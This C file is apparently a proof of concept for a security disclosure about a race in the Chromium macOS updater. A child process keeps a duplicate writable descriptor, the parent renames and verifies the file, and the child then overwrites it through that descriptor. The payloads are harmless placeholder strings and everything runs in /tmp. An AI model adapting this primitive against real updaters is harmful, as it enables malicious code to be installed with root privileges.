// posix_fd_rename_primitive.c
//
// Demonstrates the POSIX primitive underlying the macOS updater TOCTOU:
// A writable file descriptor held by a child process survives rename(2)
// performed by the parent. After the parent "verifies" the renamed file,
// the child can overwrite it through the original FD because rename()
// preserves the inode.
//
// This mirrors the trust boundary in the Chromium macOS updater:
//   parent  == root updater  (creates file, passes FD, renames into cache,
//                             verifies, unzips/installs)
//   child   == net-worker    (receives writable FD, retains it, overwrites
//                             after verification)
//
// Build:   cc -o posix_fd_rename_primitive posix_fd_rename_primitive.c
// Run:     ./posix_fd_rename_primitive
//
// Expected: parent reads MALICIOUS content from the *cached* path even
// though it "verified" GOOD content moments earlier.

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <unistd.h>

static const char kGoodPayload[] =
    "GOOD-SIGNED-CRX-PAYLOAD-0123456789-0123456789-0123456789";
static const char kEvilPayload[] =
    "MALICIOUS-PAYLOAD-OVERWRITTEN-BY-NET-WORKER-AFTER-VERIFY";

int main(void) {
  setvbuf(stdout, NULL, _IONBF, 0);
  char tmpdir[] = "/tmp/updater_toctou_XXXXXX";
  if (!mkdtemp(tmpdir)) {
    perror("mkdtemp");
    return 1;
  }
  char download_path[256], cache_path[256];
  snprintf(download_path, sizeof(download_path), "%s/download.crx", tmpdir);
  snprintf(cache_path, sizeof(cache_path), "%s/cache_hash.crx", tmpdir);

  // === Parent (root updater) opens file with write access and passes FD ===
  // Mirrors: base::File(file_path, FLAG_OPEN_ALWAYS | FLAG_WRITE) in
  // OutOfProcessNetworkFetcher::DownloadToFile (network_fetcher_mac.mm)
  int fd = open(download_path, O_RDWR | O_CREAT | O_TRUNC, 0644);
  if (fd < 0) {
    perror("open");
    return 1;
  }
  printf("[parent] created %s (fd=%d)\n", download_path, fd);

  // Pipes for lockstep signalling: parent->child and child->parent.
  int p2c[2], c2p[2];
  if (pipe(p2c) || pipe(c2p)) {
    perror("pipe");
    return 1;
  }

  pid_t pid = fork();
  if (pid < 0) {
    perror("fork");
    return 1;
  }

  if (pid == 0) {
    // ================= CHILD == compromised net-worker =================
    close(p2c[1]);
    close(c2p[0]);

    // Attacker action #1: retain a duplicate of the writable FD.
    // Mirrors: dup() inside FetchServiceImpl::DownloadToFile after
    // receiving `output_file` over Mojo (app_net_worker.cc).
    int held = dup(fd);
    close(fd);
    printf("[child ] dup'd writable fd -> %d (retained across rename)\n", held);

    // Write a legitimately-signed payload so verification passes.
    if (pwrite(held, kGoodPayload, sizeof(kGoodPayload) - 1, 0) < 0) {
      perror("[child ] pwrite good");
      _exit(1);
    }
    printf("[child ] wrote GOOD payload, signalling download complete\n");
    write(c2p[1], "D", 1);  // download complete

    // Wait for parent to finish: rename() into cache + Verify().
    char sig;
    read(p2c[0], &sig, 1);
    printf("[child ] parent finished verify -> overwriting via retained fd\n");

    // Attacker action #2: TOCTOU overwrite. The FD still points at the
    // same inode, which now lives at cache_path.
    if (pwrite(held, kEvilPayload, sizeof(kEvilPayload) - 1, 0) < 0) {
      perror("[child ] pwrite evil");
      _exit(1);
    }
    ftruncate(held, sizeof(kEvilPayload) - 1);
    fsync(held);
    write(c2p[1], "X", 1);  // overwrite done
    close(held);
    _exit(0);
  }

  // ================= PARENT == root updater =================
  close(p2c[0]);
  close(c2p[1]);
  close(fd);  // parent hands FD to child via Mojo and drops its own copy

  char sig;
  read(c2p[0], &sig, 1);  // wait for "download complete"

  // Mirrors: CrxCacheImpl::Put -> base::Move -> rename(2). Same filesystem,
  // so inode is preserved and child's FD now references cache_path.
  if (rename(download_path, cache_path) != 0) {
    perror("[parent] rename");
    return 1;
  }
  struct stat st;
  stat(cache_path, &st);
  printf("[parent] rename() -> %s (inode=%llu)\n", cache_path,
         (unsigned long long)st.st_ino);

  // Mirrors: Unpacker::Verify -> crx_file::Verify reads file by path.
  char buf[128] = {0};
  int rfd = open(cache_path, O_RDONLY);
  read(rfd, buf, sizeof(buf) - 1);
  close(rfd);
  printf("[parent] Verify()  read: \"%s\"\n", buf);
  int verify_ok = (strncmp(buf, "GOOD", 4) == 0);
  printf("[parent] Verify()  result: %s\n", verify_ok ? "OK_FULL" : "FAIL");

  // ---- TOCTOU window: signal child, then proceed to "unzip" ----
  write(p2c[1], "V", 1);
  read(c2p[0], &sig, 1);  // wait for child overwrite (race won deterministically)

  // Mirrors: Unpacker::BeginUnzipping -> unzipper_->Unzip(path_, ...)
  // re-opens the same path. Contents have been replaced.
  memset(buf, 0, sizeof(buf));
  rfd = open(cache_path, O_RDONLY);
  read(rfd, buf, sizeof(buf) - 1);
  close(rfd);
  printf("[parent] Unzip()   read: \"%s\"\n", buf);
  int compromised = (strncmp(buf, "MALICIOUS", 9) == 0);

  waitpid(pid, NULL, 0);
  unlink(cache_path);
  rmdir(tmpdir);

  if (verify_ok && compromised) {
    printf("\n*** TOCTOU PRIMITIVE CONFIRMED ***\n");
    printf("*** Verify saw GOOD; Unzip saw MALICIOUS via retained FD ***\n");
    return 0;
  }
  printf("\nPrimitive NOT confirmed (unexpected)\n");
  return 1;
}
